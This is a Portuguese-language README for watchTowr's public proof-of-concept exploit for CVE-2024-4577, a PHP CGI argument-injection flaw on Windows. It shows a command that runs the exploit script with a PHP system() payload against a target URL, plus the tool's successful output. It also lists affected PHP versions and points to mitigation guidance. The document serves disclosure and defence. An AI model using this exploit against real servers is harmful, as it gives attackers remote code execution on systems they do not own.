
PoC de Execução Remota de Código para Injeção de Argumentos no CGI do PHP (CVE-2024-4577)
Uma Prova de Conceito desenvolvida por @watchTowr que explora a vulnerabilidade de Injeção de Argumentos PHP CGI (CVE-2024-4577) para obter RCE em uma versão vulnerável do PHP executando em um ambiente Windows. Análise técnica detalhada para esta vulnerabilidade
Esta vulnerabilidade foi encontrada por Orange Tsai (@orange_8361) da DEVCORE (@d3vc0r3). Certifique-se de seguir a pesquisa excepcional dele; nosso papel foi apenas recriar e desenvolver o exploit para este problema.
python watchTowr-vs-php_cve-2024-4577.py -c "<?php system('calc');?>" -t http://192.168.253.132/test.sina
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-php_cve-2024-4577.py
(*) PHP CGI Argument Injection (CVE-2024-4577) discovered by Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
- Aliz Hammond, watchTowr ([email protected])
- Sina Kheirkhah (@SinSinology), watchTowr ([email protected])
CVEs: [CVE-2024-4577]
(^_^) prepare for the Pwnage (^_^)
(+) Exploit was successful
com base no post original do blog da DEVCORE (@d3vc0r3) Esta vulnerabilidade afeta todas as versões do PHP instaladas no sistema operacional Windows:
PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29
Como os ramos PHP 8.0, PHP 7 e PHP 5 estão em fim de vida (End-of-Life) e não são mais mantidos, os administradores de servidores podem consultar a seção "Am I Vulnerable" AQUI para encontrar recomendações temporárias de correção na seção "Mitigation Measure".
Para as pesquisas de segurança mais recentes, siga a equipe watchTowr Labs.